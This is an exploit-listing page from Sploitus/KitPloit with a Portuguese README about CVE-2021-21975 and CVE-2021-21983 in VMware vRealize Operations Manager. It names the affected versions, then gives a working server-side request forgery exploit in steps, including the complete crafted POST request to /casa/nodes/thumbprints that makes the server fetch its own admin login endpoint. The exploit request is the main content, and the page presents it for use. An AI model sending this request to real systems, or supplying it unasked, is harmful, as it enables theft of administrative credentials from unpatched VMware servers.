Sploitus

Exploit for CVE-2021-21975 CVE-2021-21975 CVE-2021-21983

kitploit · 2026-08-26

Exploit Code

MARKDOWN47 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-AL1EX-CVE-2021-21975
## Produtos Afetados

  * VMware vRealize Operations 8.3.0、8.2.0、8.1.1、8.1.0、7.5.0
  * VMware Cloud Foundation 4.x、3.x
  * vRealize Suite Lifecycle Manager 8.x



## Descrição

Em 31 de março de 2021, a VMware lançou oficialmente o aviso de risco do vmsa-2021-0004. Os números de vulnerabilidade são cve-2021-21975 e cve-2021-21983. O nível de vulnerabilidade é alto risco e a pontuação de vulnerabilidade é 8.6.

CVE-2021-21975：Um ator malicioso com acesso de rede à API do vRealize Operations Manager pode realizar um ataque de Server Side Request Forgery para roubar credenciais administrativas.

CVE-2021-21983：Um ator malicioso autenticado com acesso de rede à API do vRealize Operations Manager pode escrever arquivos em locais arbitrários no sistema operacional Photon subjacente.

## Vulnerabilidade

**Passo 1** ：logout

![without_login](https://assets.kitploit.com/production/public/readmes/15111/5fa9b20d702cb9ae2fd42266b2d5165f213a58ec500c8ac36fec82165a358e5a.png)

**Passo 2** : Depois disso, visite /casa/nodes/thumbprints e use o burpsuite para capturar o pacote de dados e construir o seguinte pacote de requisição para fazer o servidor solicitar o login na página de autenticação.

root@kitploit:~
    
    
    POST /casa/nodes/thumbprints HTTP/1.1
    Host: 192.168.203.155
    Connection: close
    Cache-Control: max-age=0
    sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
    sec-ch-ua-mobile: ?0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Content-Type: application/json;charset=UTF-8
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Content-Length: 36
    
    ["127.0.0.1:443/admin/login.action"]